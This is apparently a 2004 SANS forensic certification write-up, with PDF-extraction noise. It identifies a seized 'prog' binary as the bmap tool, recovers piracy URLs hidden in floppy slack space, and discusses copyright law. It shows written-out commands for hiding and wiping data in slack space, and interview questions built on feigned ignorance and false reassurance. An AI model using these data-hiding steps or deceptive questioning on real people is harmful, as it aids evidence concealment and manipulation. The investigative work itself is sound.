mode=s	display data in slack space	The only file accessed by the data retrieval mode of prog is that of the target file and the raw disk device. Here it uses lstat commands to calculate offsets based on stat data, using these data to read directly from the raw disk device. Neither file is modified during execution of this mode.
mode=m	List sector numbers	This mode uses the stat system calls to determine the block numbers with the associated blocks. No modification to other files is made by invoking prog in this mode
mode=p	Place data in slack space	Here we actively write to the raw disk based upon the offsets calculated by prog during it's lstat64 system calls. Modification to the filesystem slack space occurs during invocation of this mode, yet no modifications to the file associated with the affected block is made.
mode=sb	Print number of slack space bytes available	This mode uses the stat system calls to determine the block numbers of the associated blocks. No modifications or writes are made during this invocation mode.
mode=checkfrag	test for fragmentation	Again, both the target file and the raw disk device are accessed via system calls to determine the existence of incontiguous blocks, or disk fragmentation.
mode=chk	Test for availability of slack space	This mode attempts to read the target file stats and raw disk device to determine the existence of slack space in the last block dedicated to holding the file data.
mode=wipe	Deletes and erases content of slack space	This mode accesses both the target file and the raw disk device to determine an offset to write '0x00', '0xff', and '0x00' characters to specified slack space

#### Affects on filesystem by execution of prog

The prog utility can modify bytes on the slack space of Ext2 file-system blocks via invocation of the 'Place Data,' or "Wipe Data' mode. Arbitrary data can be written to slack space with the 'Place Data' mode, while the wipe mode securely erases slack space data and sets it to null characters.

#### prog's interaction with system files

No interaction with system files from the prog executable was noted during any of the 7 invocation modes.

#### Further information in prog that could be extracted for information

Via invocation of prog with help mode, or by writing a man page using the utility, we can see that the program author apparently goes by the name 'newt', and is presumably from Brazil (as listed in the generated man page).

# **Program Identification**

#### Locating bmap from the Internet

Bmap version 1.0.20 is easily found via google using the search string "bmap 1.0.20"

🗿 Index of /pub/forensic_computing/bmap - Microsoft Internet Explorer 📃 🗖 🔀							
j File	e Edit View Favorites Tools I	Help					
	🌀 Back 🝷 🕥 - 💌 😰 🏠 🕙 Media 🧭						
E Addi	ess 🚳 http://www.scyld.com/pub/fore	ensic_computing/bma	ap/			🖌 🄁 Co	
G	oogle - bmap 1.0.20	😚 Search Web	- 🕡	PageRank	294 blocked	* Autof *	
2	Parent Directory	29-Jan-2001	15:15	р э <b>-</b> с		~	
	RPMS/	27-Apr-2000	14:42				
	SRPMS/	29-May-2000	22:29				
2	bmap-1.0.16.tar.bz2	11-Apr-2000	22:55	5 28k			
2	bmap-1.0.16.tar.bz2.sig	11-Apr-2000	22:55	5 1k			
1	bmap-1.0.16.tar.gz	11-Apr-2000	22:55	5 31k			
2	bmap-1.0.16.tar.gz.sig	11-Apr-2000	22:55	5 1k			
2	bmap-1.0.17.tar.bz2	14-Apr-2000	19:50	) 30k			
	bmap-1.0.17.tar.bz2.sig	14-Apr-2000	19:50	) 1k			
1	bmap-1.0.17.tar.gz	14-Apr-2000	19:50	) 39k			
2	bmap-1.0.17.tar.gz.sig	14-Apr-2000	19:50	) 1k			
2	bmap-1.0.18.tar.bz2	27-Apr-2000	14:42	30k			
2	bmap-1.0.18.tar.bz2.sig	27-Apr-2000	14:42	1k			
1	bmap-1.0.18.tar.gz	27-Apr-2000	14:42	39k			
2	bmap-1.0.18.tar.gz.sig	27-Apr-2000	14:42	1k			
2	bmap-1.0.20.tar.bz2	29-May-2000	22:29	) 33k			
	bmap-1.0.20.tar.bz2.sig	29-May-2000	22:30	) 1k			
1	bmap-1.0.20.tar.gz	29-May-2000	22:29	9 42k			
2	bmap-1.0.20.tar.gz.sig	29-May-2000	22:30	) 1k			
						×	

#### Compiling bmap

Bmap 1.0.20 was downloaded from the home website as shown above. The following shell operations were used to prepare it for testing against the prog executable:

[forensics@GCFA bmap]# md5sum bmap-1.0.20.tar.gz	Capture md5sum of the
df716d23d5966826fe6bad9d0a65cdd6	archive and compare
	with value listed on
	author's download site.
[forensics@GCFA bmap]# tar xvfzp bmap-1.0.20.tar.gz	Uncompress the archive
bmap-1.0.20/COPYING	
bmap-1.0.20/LICENSE	
bmap-1.0.20/Makefile	
bmap-1.0.20/README	
bmap-1.0.20/bclump.c	
bmap-1.0.20/bmap.c	
bmap-1.0.20/bmap.sgml.m4	
bmap-1.0.20/bmap.spec	
bmap-1.0.20/dev builder.c	
bmap-1.0.20/include/bmap.h	
bmap-1.0.20/include/slacker.h	
bmap-1.0.20/index.html	
bmap-1.0.20/libbmap.c	
<pre>bmap-1.0.20/man/man2/libbmap.2</pre>	
bmap-1.0.20/mft/COPYING	
bmap-1.0.20/mft/Makefile	
bmap-1.0.20/mft/README	

<pre>bmap-1.0.20/mft/helper.c bmap-1.0.20/mft/include/helper.h bmap-1.0.20/mft/include/info.h bmap-1.0.20/mft/include/log.h bmap-1.0.20/mft/include/mft.h bmap-1.0.20/mft/include/option.h bmap-1.0.20/mft/log.c bmap-1.0.20/mft/option.c</pre>	
bmap-1.0.20/slacker_modules.c bmap-1.0.20/slacker.c	
[forensics@GCFA bmap]# cd bmap-1.0.20	Change directory to newly created installation directory
[forensics@GCFA bmap-1.0.20]# vi Makefile	Edit the Makefile and
< <changed line:<br="">LDFLAGS = -L\$(MFT_LIB_DIR) -lmft To LDFLAGS = -L\$(MFT_LIB_DIR) -lmft -static-libgcc -static &gt;&gt;</changed>	executables will be statically linked instead of dynamically linked. By being statically linked, the exectubales will have
	all necessary inbraries internally packaged as the prog executable is configured as seen via the file command.
<pre>[forensics@GCFA bmap-1.0.20]# make config.h echo "#ifndef NEWT_CONFIG_H" &gt; config.h echo "#define NEWT_CONFIG_H" &gt;&gt; config.h echo "#define VERSION \"1.0.20\"" &gt;&gt; config.h echo "#define BUILD_DATE \"01/07/04\"" &gt;&gt; config.h echo "#define AUTHOR \""newt@scyld.com"\"" &gt;&gt; config.h echo "#define BMAP_BOGUS_MAJOR 123" &gt;&gt; config.h echo "#define BMAP_BOGUS_MINOR 123" &gt;&gt; config.h echo "#define BMAP_BOGUS_MINOR 123" &gt;&gt; config.h echo "#define BMAP_BOGUS_FILENAME \""//image"\"" &gt;&gt; config.h echo "#define _FILE_OFFSET_BITS 64" &gt;&gt; config.h echo "#endif" &gt;&gt;config.h</pre>	Via review of the makefile, we determine that we must make a config.h file first.
<pre>[forensics@GCFA bmap-1.0.20]# make mft if [ -n mft ] ; then make -C mft ; fi make[1]: Entering directory `/mnt/drive/GCFA/bmap/bmap- 1.0.20/mft' echo "#define MFT_VERSION \"0.9.2\"" &gt; mft_config.h echo "#define MFT_BUILD_DATE \"01/07/04\"" &gt;&gt; mft_config.h echo "#define MFT_AUTHOR \""newt@scyld.com"\"" &gt;&gt; mft_config.h ec -Wall -g -ITinclude -c -o log.o log.c log.c:354: warning: `syslog_dispatch' defined but not used log.c:361: warning: `html_dispatch' defined but not used cc -Wall -g -ITinclude -c -o helper.o helper.c ld -rwhole-archive -o libmft.a option.o log.o helper.o make[1]: Leaving directory `/mnt/drive/GCFA/bmap/bmap- 1.0.20/mft'</pre>	Next, we make the mft libraries.
<pre>[InternsteseGerA Dmap-1.0.20]# make dev_Dillder cc -Wall -g -Imft/include -Iinclude -Lmft -lmft -static-libgcc -static dev_builder.c -o dev_builder mft/libmft.a(.text+0xe6a): In function `mft_log_perror': /mnt/drive/GCFA/bmap/bmap-1.0.20/mft/log.c:297: `sys_errlist' is deprecated; use `strerror' or `strerror_r' instead mft/libmft.a(.text+0xe5c):/mnt/drive/GCFA/bmap/bmap- 1.0.20/mft/log.c:294: `sys_nerr' is deprecated; use `strerror' or `strerror_r' instead</pre>	dev_builder program
<pre>[forensics@GCFA bmap-1.0.20]# make bmap cc -Wall -g -Imft/include -Iinclude -c -o bmap.o bmap.c bmap.c: In function `main': bmap.c:371: warning: implicit declaration of function `dprintf' cc -Wall -g -Imft/include -Iinclude -c -o libbmap.o libbmap.c ./dev_builder &gt; dev_entries.c cc -Wall -g -Imft/include -Iinclude -c -o dev_entries.o dev_entries.c cc -Lmft -lmft -static-libgcc -static bmap.o libbmap.o</pre>	Next we compile bmap itself.

```
dev entries.o -o bmap
mft/libmft.a(.text+0xe6a): In function `mft_log_perror':
/mnt/drive/GCFA/bmap/bmap-1.0.20/mft/log.c:297: `sys errlist' is
deprecated; use `strerror' or `strerror r' instead
mft/libmft.a(.text+0xe5c):/mnt/drive/GCFA/bmap/bmap-
1.0.20/mft/log.c:294: `sys nerr' is deprecated; use `strerror'
or `strerror_r' instead
[forensics@GCFA bmap-1.0.20]# ls -1 bmap
                                                               Next we need to strip
                                                               bmap of it's internal
-rwxr-xr-x 1 root root 652926 Jan 7 02:26 bmap
[forensics@GCFA bmap-1.0.20]# strip bmap
                                                               function labels. This
[forensics@GCFA bmap-1.0.20]# ls -1 bmap
                                                               is accomplished with
                                546116 Jan 7 02:27 bmap
-rwxr-xr-x 1 root root
                                                               the Linux strip
                                                               command.
                                                               Afterwards, the size of
                                                               the stripped,
                                                               statically linked file
                                                               is still slightly
                                                               larger than the prog
                                                               executable.
[forensics@GCFA bmap-1.0.20]# file bmap
                                                               Here we verify that the
bmap: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
                                                               file output is
                                                               identical to that of
for GNU/Linux 2.2.5, statically linked, stripped
                                                              prog's.
```

#### Differences between bmap and prog

We can further substantiate the assumption that 'prog' is really <u>bmap</u> by downloading the most recent copy of <u>bmap</u> and searching printable character sequences in the 'prog' executable for some of the strings identified in the <u>bmap</u> source code:

```
[forensics@GCFA bmap-1.0.20]# ./bmap --help
                                                                    Here we get a snapshot
bmap:1.0.20 (01/07/04) newt@scyld.com
                                                                    of compiled bmap's
Usage: bmap [OPTION]... [<target-filename>]
                                                                    response to a help mode
use block-list knowledge to perform special operations on files
                                                                    invocation.
--doc VALUE
 where VALUE is one of:
  version display version and exit
 help display options and exit
 man generate man page and exit
 sgml generate SGML invocation info
--mode VALUE
 where VALUE is one of:
 map list sector numbers
  carve extract a copy from the raw device
  slack display data in slack space
  putslack place data into slack
  wipeslack wipe slack
  checkslack test for slack (returns 0 if file has slack)
  slackbytes print number of slack bytes available
 wipe wipe the file from the raw device
  frag display fragmentation information for the file
 checkfrag test for fragmentation (returns 0 if file is
fragmented)
--outfile <filename> write output to ...
--label useless bogus option
--name useless bogus option
--verbose be verbose
--log-thresh <none | fatal | error | info | branch | progress |
entryexit> logging threshold ...
--target <filename> operate on ...
[forensics@GCFA bmap-1.0.20]# echo "this is a small file"
                                                                    Here we create a
                                                                    trivial file to test
small_data_file
                                                                     the bmap's
                                                                    functionality upon
```

[forensics@GCFA bmap=1.0.20]# echo "hidden text"]./bmap ==	Here we use bmap to
mode=putslack small data fileverbose	write a hidden message
stuffing block 15632013	to the slack space on
file size was: 21	the block containing
slack size: 4075	our trivial test file
block size: 4096	001 0110101 0000 1110.
	We notice that the
	syntax from prog is
	slightly more verbose.
	This undoubtedly
	represents a difference
	between prog and bmap.
[forensics@GCFA bmap-1.0.20]# bmapmode=slackbytes	Here we check the sb
small data fileverbose	functionality of bmap,
4075	the results appear
	correct. Syntax
	differences between
	bmap and prog are again
	noted.
[forensics@GCFA bmap-1.0.20]# bmapmode=slack small data file	Here we recover the
verbose	hidden text from the
getting from block 15632013	slack space of the
file size was: 21	block containing the
slack size: 4075 🦾	trivial test data file.
block size: 4096	
hidden text	
[forensics@GCFA bmap-1.0.20]# ./bmapmode=wipeslack	Here we test the wipe
small_data_fileverbose	ability of the bmap
stuffing block 15632013	utility. We note that 3
file size was: 21	'write error' messages
slack size: 4075	are again written to
block size: 4096	STDERR.
write error	Syntax differences
write error	between bmap and prog
Write error	are again noted.
[IOPENSICS@GUFA bmap-1.0.20]# bmapmode=slack small_data_file	Here we see that the
verbose	wipe method was
filo gizo wast 21	despite the Awrite
1110 5120 was. 21	acopile lie wille
block size: 1075	identified above
DIOCK 5126. 3030	Idencified above.

#### MD5 Hash Comparison

The following table represents differences between the prog executable and the statically linked, stripped, compiled bmap 1.0.20 downloaded from the bmap home website:

Property	Prog	Bmap 1.0.20
MD5sum	7b80d9aff486 c6aa6aa3efa63cc56880	a43b4737b46b220 b119c50651143b844
File Size	487476 bytes	546116 bytes
file command output	prog: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, statically linked, stripped	bmap: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, statically linked, stripped

Numerous differences could contribute to inconsistent file size and MD5sum returned by Is and md5sum applications, respectively. The following analysis describes the differences in the help output between prog and bmap.

<pre>[forensics@GCFA bmap-1.0.20]# ./bmaphelp&gt; /tmp/bmap.help [forensics@GCFA floppy_image2]# ./proghelp&gt;/tmp/prog.help</pre>	Here we create a output text help file from the bmap utility for comparison against the output of the prog executable Here we create an output text help file from the prog executable for
	comparison against the
<pre>[forensics@GCFA floppy_image2]# diff /tmp/prog.help /tmp/bmap.help 1,2c1,2 &lt; prog:1.0.20 (07/15/03) newt &lt; Usage: prog [OPTION] [<target-filename>] &gt; bmap:1.0.20 (01/07/04) newt@scyld.com &gt; Usage: bmap [OPTION] [<target-filename>] 13,19c13,19 &lt;    m list sector numbers &lt;    c extract a copy from the raw device &lt;    s display data &lt;    p place data &lt;    w wipe &lt;    chk test (returns 0 if exist) &lt;    sb print number of bytes available &gt; map list sector numbers &gt; carve extract a copy from the raw device &gt; slack display data in slack space &gt; putslack place data into slack &gt; wipeslack wipe slack</target-filename></target-filename></pre>	<pre>bmap utility. Here we use the diff command to identify every difference in the help file outputs. &lt; refers to prog &gt; refers to bmap</pre>
> slackbytes print number of slack bytes available	

The above analysis shows that the prog executable and the bmap utility differ by at least their help outputs, in addition to a difference in their name. Another reason contributing to the difference in the MD5sums could be difference in the linked dynamic libraries. It is likely that different versions of glibc may have been used to statically link the prog executable and the bmap utility.

#### Full Description of research process determining that prog=bmap

This process is described above in the section entitiled: "What is the true name of the prog executable?."

# Legal Implications

#### Proving that the prog binary was executed

To prove that the prog executable was indeed executed, we must confirm the following:

Page 45 of 111 Author retains full rights. Evidence of prog output exist on the seized floppy:

Having detected content in the slack space of the blocks allocated to the /Docs/Sound-HOWTO-html.tar.gz file related to the potential distribution of copyrighted material, the evidence is strong that John Price had used the prog binary at least once with the data placement invocation mode.

[foranciac@CCE] tmp]# /progmodo_p Sound_WOWTO_	Something similar to this
[IDIENSICS@GCFA Cmp]# ./pi0gmode-p Sound-HowIO-	Something Similar to this
html.tar.gz < hidden_data.gz	command would have been
[forensics@GCFA tmp]#	necessary to store hidden data
	to the ./DOCS/Sound-HOWTO-
	html.tar.gz slack space.

The bmap executable documentation, which we have proven to be the effective same utility as the prog executable, accurately states that very few applications have access to read or write to/from filesystem slack space. Since we cannot know whether the data content written to slack space was performed via use of the prog executable, we can only suspect that the prog executable was likely used. It is possible that some other tool was used to write data to slack space, albeit improbable.

Prog metadata access/creation/modification time and permission details correlate to prog output

As previously performed, we can get many relevant metadata details by using the stat command on the file within the noexec(program execution not permitted),noatime(file access time modification not permitted) mounted floppy filesystem, which ensure that we did not perturb the state of the data since evidence seizure.

[root@GCFA floppy_image]# <pre>stat ./prog</pre>	Stat is ran on the prog
File: `./prog'	executable, listing permissions
Size: 487476 Blocks: 960 IO Block:	and access/modify/change times.
4096 Regular File	
Device: 702h/1794d Inode: 18 Links: 1	
Access: (0755/-rwxr-xr-x) Uid: ( 502/ UNKNOWN) Gid:	
( 502/ UNKNOWN)	
Access: 2003-07-15 23:12:45.000000000 -0700	
Modify: 2003-07-14 07:24:00.00000000 -0700	
Change: 2003-07-15 23:05:33.000000000 -0700	
You have new mail in /var/spool/mail/root	
[root@GCFA floppy image]#	

Based on the results of the stat command, we can see from the metadata that the file permissions for the file user, the file group, and all others have been set to allow for execution. Unfortunately, access, modify, and change times can be updated via use of the touch Unix command, so it is possible that John Price could have executed the prog utility, which would have updated it's access time, and then later used the touch command to modify the access time to some other time.

Another issue is that because the data stored in slack space was not part of the filesystem, it did not have any associated meta-data. Thus, we cannot correlate the metadata times of the hidden slack space file with the execution times of the prog executable, because no such metadata times exist. In conclusion, it is impossible to know for sure based upon the limited evidence observed on the floppy image whether or not John Price used the prog executable to write the case-relevant data content to the slack space of the ./Docs/Sound-HOWTOhtml.tar.gz file, although it is highly probable for the following reasons:

- As very few tools can write directly to slack space, it is very likely that prog was the tool used to write data to the slack space on the floppy.
- The content of the slack space is directly relevant to the case, and provides further information implicating John Price in the alleged distribution of copyrighted material.

#### Laws violated by bmap

No laws were violated by the use of bmap to store URL's in the slack space on the floppy. Even if it could be proven that it was indeed John Price who used the prog executable to write to floppy slack space, the contents of the file by itself does not violate any United States laws.

To fully understand whether any laws were violated by use of the prog executable, it would be necessary to investigate all of the slack space on all of the hard-drives on all of the systems in which John Price was known to have or was suspected to have access. The extent of this investigation only covers the slack space contained within the analyzed evidence (the floppy image), and with respect to this, no laws were broken.

Had we have found copyrighted material within the contents of the floppy image slack space, or if we were to find copyrighted material in the contents of slack space on other systems, then the laws covering copyright infringement would apply. As the suspected activity happened within the United States, the actions taken by John Price would be subject to United States Laws.

Copyright Law, and the laws that cover copyright infringements is contained within Title17 of U.S. Code<sup>10</sup>, were recently amended with the 1976 Copyright Act which provides to the owner of the copyright exclusive permissions in copyrighted material reproduction, preparation of derivative works, distribution of copies of the material, or display of the copyrighted material to the public<sup>11</sup>.

If John Price had have used the prog executable to distribute copyrighted material, he would have been in violation of copyright law and would be subject to 17 U.S.C Section 501<sup>12</sup>, which covers infringement of copyright.

#### Penalties for using bmap

As no laws were broken by use of the prog executable with respect to the floppy image acquired during seizure, no penalties or remediation would be required to damaged or affected parties.

Had John Price have used the prog executable on the floppy or on other systems to distribute copyrighted materials for profit, he would be subject to the remedies provided in 17 U.S.C Section 504 subsection (b)<sup>13</sup>, which entitles the copyright owners to recover the damages suffered by them as a result of the infringement as well as any profits made by the infringer that are attributable to the infringement.

#### Violation to corporate policy

A robust corporate information security policy should, at the least, prohibit activities that violate state and federal laws. Beyond this, policies should be in place that limit user's privileges and access to that granted and imposed by site system administrators.

If through the course of further investigation that John Price did indeed use the prog utility as a means of distributing copyrighted material, then such actions would also be a violation of corporate policy, and should result in disciplinary action or termination of employment, or remediation set my corporate policy authors and corporate management. It is critical that these policies be in place prior to invocation in a situation such as this.

If it could be proven by subsequent investigation that John Price did indeed use the prog executable to write to the slack space in the floppy, then a policy would need to exist preventing employees from using company computing resources outside of the privileges specified by the site system administrator. In this case, the floppy's file-system would have to be considered the limit of the privilege set by the system administrator. Complications could arise here, especially if the floppy was the personal property of John Price. Given the fact that he has denied ownership of the floppy, it can likely be considered an asset of the company since it was seized on company property.

# Interview Questions

#### Questions for person John Price to prove he owned/ran file

#### Question 1

Strategy: Portray ignorance and doubt in an attempt at getting John Price to volunteer information or present a useful response:

Question: John, I'm wondering whether our auditors have mis-read the entire situation, we've had our people take a look at the the floppy, but they couldn't identify anything out of the ordinary so we really don't think the program was used illegitimately, was it just the case that you used the binary to perform your job function? If so, then this can probably be resolved relatively quickly.

#### Question 2

Strategy: Get John to admit to a lesser charge of simply owning the floppy by getting him to infer that his use of netcat was somehow legitimate. If John responses

affirmatively that he does not have appropriate tools for his job, he'll indirectly be accepting responsibility for having been interested in netcat, providing information linking him to the ownership of the floppy.

Question: John, we found this disk in your personal system and noticed that it contained installation packages for netcat. We can probably wrap this whole thing up fairly quickly if we can just bottom out on what the site system administrators need to do in order to prevent the users from having to utilize such rudimentary software like netcat to get their jobs done. Do you have any input? We need to give management something to give them a sense of closure.

#### Question 3

Strategy: Question the tactics that John may have employed in trying to cover up his actions. If he admits to renaming the file, we can infer from the program makefile that he also compiled the program, since simply renaming it would not change the 'prog' listed at the top of the '—help' invocation.

Question: John, so the auditors took a look at the floppy and noticed that the bmap executable was renamed to prog, was this just a mistake or was this intentional? They think that you were up to no good when you renamed the file from bmap to prog, However it seems to me that you probably just chose the first thing that came to mind when you renamed it. Can you help us give them something to address their concerns and get this issue resolved?

Question 4 Strategy: Get John Price's perception on the nature of the situation.

Question: John, we've checked out the floppy and honestly can't see that anything illegal was done that justifies your suspension. Perhaps the unfortunate coincidence of your hard-drive crash along with unfounded suspicions based upon seizure of the floppy has made a mountain out of a mole-hill. If we can just determine who owned the floppy, we'd go a long way towards getting this whole thing behind us. Can you help us out here?

#### Question 5

Strategy: Present John Price with an apparent 'way-out' by offering him the opportunity to claim that we've merely just uncovered what appears to be personal data

Question: John, we contacted Mike about the Mikemsg.doc file and he had no idea about it; can you give us some more information about whether this was simply a personal message or whether it had to do with company business?

### **Case Information**

#### Details for Floppy analysis, evidence found?

#### Floppy Slack Space Data Content Analysis

Naturally the next step that comes to mind for analysis is to examine the slack space on the fl-160703-jp1.dd image. We will recursively investigate each directory under the root directory of the fl-160703-jp1.dd image, investigating the slack space content of all blocks associated with files in the root directory and subdirectories. As quoted earlier in the description of bmap, few tools have access to file slack space, thus we are limited in what tools can present this data to us. We elect to use prog itself to study the slack space of the fl-160703-jp1.dd image.

[forensics@GCFA John] # cd John/; ls -1	We change directory
total 42	into the John directory
-rwxr-xr-x 1 502 502 19088 Jan 28 2003 sect-	and list its contents
num.gif	to refresh us on it's
-rwxr-xr-x 1 502 502 20680 Jan 28 2003 🔊	contents. We then
sectors.gif	employ Unix shell
[forensics@GCFA John]# for file in `ls -1 *`; do echo \$file;	scripting to
/tmp/progmode=s \$file; echo; echo; done	iteratively display the
sect-num.gif	slack space of each
getting from block 367	file in the John
file size was: 19088	directory.
slack size: 368	
block size: 1024	Based on knowledge of
	the programs return
	values, it is apparent
sectors.gif	that neither the sect-
getting from block 389	num.gif nor sectors.gif
Ille Size Was: 20680	Illes seem to have data
slack size: 824	contained within their
DIOCK SIZE: 1024	respective slack
[forongiag@CCEA_floppy_image2]#_cd/May02/: lcl	We change to the May 03
total 15	directory and repeat
13/87 Jul 14 07.12	the aforementioned
ehav300 ing	procedure We again
[forensics@GCFA May03]# for file in `ls -1 *`: do echo \$file:	fail to detect any
/tmp/progmode=s \$file; echo; echo; done	hidden data nested
ebay300.jpg	within the slack space
getting from block 404	of the ebay300.jpg
file size was: 13487	file.
slack size: 849	
block size: 1024	
[forensics@GCFA floppy_image2]# cd Docs; ls -1	We change to the Docs
total 170	directory and repeat
-rwxr-xr-x 1 502 502 29184 May 21 2003 DVD-	the aforementioned
Playing-HOWTO-html.tar	procedure. While
-rw-rr 1 root root 185 Jan 5 12:52 hidden	iteratively retrieving
-rwxr-xr-x 1 502 502 27430 May 21 2003 Kernel-	the slack space
HOWTO-html.tar.gz	associated with each of
-rw 1 502 502 29696 Jun 11 2003	the files contained in
Letter.doc	the Docs directory, we
-rw 1 502 502 19456 Jul 14 07:48	find content in the
Mikemsg.doc	slack space of the
-rwxr-xr-x 1 502 502 32661 May 21 2003 MP3-	Sound-HOWTO-html.tar.gz
HUWTU-ntml.tar.gz	Ille.
-rwxr-xr-x 1 502 502 26843 Jul 14 07:11 Sound-	Deced on the state is the
HOWTO-RUMI.tar.gZ	Based upon observation
[IOTENSICS@GUFA DOCS]# IOT ILLE 1N IS -1 * ; ao echo \$Ille;	or this command, it
/ump/progmode=s \$IIIe; ecno; ecno; done	uoes not appear that

#### Jason\_B\_Anderson\_GCFA

© SANS Institute 2004,

DVD-Playing-HOWTO-html.tar	the contents of slack
getting from block 277 file size was: 29184	space is regular ASCII text.
slack size: 512	
block size: 1024	
hidden getting from block 816	
file size was: 185	
slack size: 839	
DIOCK SIZE: 1024	
	<b>A</b> .
getting from block 129	
file size was: 27430	
slack size: 218 block size: 1024	20
Letter.doc	
getting from block 74	
file size was: 29696	
block size: 1024	
Mikemsg.doc	
getting from block 94	
file size was: 19456	
block size: 1024	
MP3-HOWTO-html.tar.gz	
getting from block 162	
file size was: 32661 slack size: 107	
block size: 1024	
Sound-HOWTO-html.tar.gz	
getting from block 190	
slack size: 805	
block size: 1024	
h?downloadsMiA Ew%'laps4E¤-©o®BRPoim\l''''/>l{%'\xA ÷ÕZÅÃ-ÈV%dÒS6¦%A¤ÑkW%P¤Wd Ý¥#°Å3xb¶Z/-3ô•HíAëM''\$3tBiu]7N	
<sup>3</sup> ÂyÓ <sup>1</sup>	
(M3:×e•e#	
[forensics@GCFA Docs] # /tmp/progmode=s Sound-HOWTO-	We redirect the
<pre>html.tar.gz &gt; /tmp/hidden_data getting from block 190</pre>	Contents of Sound- HOWTO-html.tar.gz
file size was: 26843	Slackspace to a file
slack size: 805	
STOCK ST2C. 1027	
[forensics@GCFA Docs]# ls -1 /tmp/hidden_data	We consider the size of the file As expected
/tmp/hidden data	it falls between 1
[forensics@GCFA Docs]# file /tmp/hidden_data	bytes and 4095 byte.
/tmp/nidden_data: gzip compressed data, was "downloads", from Unix	Next we run the file
	command to understand
[forensics@CCEA Docs]# my /tmp/biddon data /tmp/biddon data rai	what kind of file it is
<pre>gunzip /tmp/hidden_data.gz</pre>	is renamed to include a
	.gz extension. This is
	aone to accommodate the gunzip utilities
	· · · · · · · · · · · · · · · · · · ·

	requirement to only unzip files with .gz extensions.
[forensics@GCFA root]# file /tmp/hidden_data /tmp/hidden_data: ASCII text	We again run the file command on the unzipped file (gunzip renames the file, removing the .gz extension upon decompression). We see that the resulting file appears to be ASCII text, which should be human readable.
[forensics@GCFA_Docs]#_cat_/tmp/hidden_data	Here we examine the
Ripped MP3s - latest releases:	contents of the
	unzipped data stored in
www.fileshares.org/	slack space.
www.convenience-city.net/main/pub/index.htm	
emmpeethrees.com/hidden/index.htm	
ripped.net/down/secret.htm	
***NOT FOR DISTRIBUTION***	
[forensics@GCFA Docs]#	7
[forensics@GCFA tmp]# host www.fileshares.org	We see that only one of
Host www.fileshares.org not found: 3(NXDOMAIN)	the URL's resolves to a
[forensics@GCFA tmp]# host www.convenience-city.net	valid Internet IP
Host www.convenience-city.net not found: 3(NXDOMAIN)	address. The host
[forensics@GCFA tmp]# host emmpeethrees.com	command maps DNS names
Host emmpeethrees.com not found: 3(NXDOMAIN)	to IP addresses, and
[forensics@GCFA tmp]# host ripped.net	vice versa.
ripped.net has address 64.175.161.93	

The result of the above analysis highlights a list of 'ripped MP3's, and lists what appear to be URL's (Uniform Resource Locators) of ripped MP3 sources. Each DNS (Domain Name System) name was queried to the DNS system, although only the last of the 4 names resolved to an IP address. This URL was queried with a web-browser, but no useful information leading was found. Due to the common nature of the DNS name 'ripped.net,' it appears that the DNS squatters have incorporated this name into their trap to snare customers. As analysis of the disk image has occurred ~6 months after it was seized, it is reasonable to assume that these URL's and DNS names have changed over time.

#### Floppy File Data Content Analysis

Our next step of analysis will be to consider the nature of each of the files contained in the floppy disk file system.

[forensics@G	CFA	flopp	y_image]# ls	s -alR					We recursively list the
.:									contents of the floppy
total 557									image.
drwxr-xr-x	6	root	root	1024	Jul	15	23:03		
drwxr-xr-x	5	root	root	1024	Jan	5	12:44	••	
-rw-rr	1	root	root	2592	Jul	14	07:13		
.~5456g.tmp									
drwxr-xr-x	2	502	502	1024	Jul	14	07:22	Docs	
drwxr-xr-x	2	502	502	1024	Feb	3	2003	John	
drwx	2	root	root	12288	Jul	14	07:08		
lost+found									
drwxr-xr-x	2	502	502	1024	May	3	2003	May03	
-rwxr-xr-x	1	502	502	56950	Jul	14	07:12	nc-1.10-	
16.i386.rpm.	.rp	n							
-rwxr-xr-x	1	502	502	487476	Jul	14	07:24	prog	
./Docs:									

© SANS Institute 2004.

total 171								
drwxr-xr-x	2 502	502	1024	Jul	14	07:22	•	
drwxr-xr-x	6 root	root	1024	Jul	15	23:03	••	
-rwxr-xr-x	1 502	502	29184	May	21	2003	DVD-	
Playing-HOWTO	-html.tar							
-rwxr-xr-x	1 502	502	27430	Мау	21	2003	Kernel-	
HOWTO-html.ta	r.gz							
-rw	1 502	502	29696	Jun	11	2003		
Letter.doc								
-rw	1 502	502	19456	Jul	14	07:48		
Mikemsg.doc								
-rwxr-xr-x	1 502	502	32661	Мау	21	2003	MP3-	
HOWTO-html.ta	r.gz							
-rwxr-xr-x	1 502	502	26843	Jul	14	07:11	Sound-	
HOWTO-html.ta	r.gz							
./John:								
total 44								
drwxr-xr-x	2 502	502	1024	Feb	3	2003	•	
drwxr-xr-x	6 root	root	1024	Jul	15	23:03	••	
-rwxr-xr-x	1 502	502	19088	Jan	28	2003	sect-	
num.gif								
-rwxr-xr-x	1 502	502	20680	Jan	28	2003		
sectors.gif								
./lost+found:								
total 13								
drwx	2 root	root	12288	Jul	14	07:08	•	
drwxr-xr-x	6 root	root	1024	Jul	15	23:03		
./May03:								
total 17								
drwxr-xr-x	2 502	502	1024	Мау	3	2003		
drwxr-xr-x	6 root	root	1024	Jul	15	23:03	••	
-rwxr-xr-x	1 502	502	13487	Jul	14	07:12		
ebay300.jpg					$\sim$	r.		

From the above listing, we have identified each file requiring investigation.

File Path (relative to floppy root directory)	Comments
./Docs	This directory name appears to have been generically selected. Although it contains miscellaneous files, including the hidden file nested in the slack space of blocks associated with the Sound-HOWTO-html.tar.gz file, it's name doesn't seem exceptionally descriptive. This file may have been intentionally generically named to throw off anyone not meant to have the floppy, but probably just means it was named with the first thing that came to mind.
./John	This directory contains 2 images that appear to describe hard-disk concepts. By itself, nothing seems suspicious about the directory name, other than the fact that it may have been intended to signify ownership of the included files.
./lost+found	This directory is automatically created by the ext2 filesystem creation program during file-system creation. It exists to serve as a place for files associated with file-system inconsistencies to be deposited during file-system maintenance activities. As it is empty, it contributes no value to the investigation <sup>9</sup> .

	(*************************************
./May03	This directory contains one image and denotes
	what appears to be a naming convention
	what appears to be a naming convention
	specifying dates. The metadata associated with
	this file also indicate that it was created on May
	3 <sup>rd</sup> 2003 This may be indicative of an attempt by
	John to proceduralize some data retrieval/analysis
	steps based upon a chronological schedule.
/nc 1 10 16 i 396 rnm rnm	This appears to be a PadHat Linux based PDM
./nc-1.10-10.1300.1p111p11	This appears to be a Reunal Linux based RFIVI
	(Redhat package manager) install file for the
	netcat utility, which is a low level 'swiss army knife
	(and notest DEADME file) developed to attach
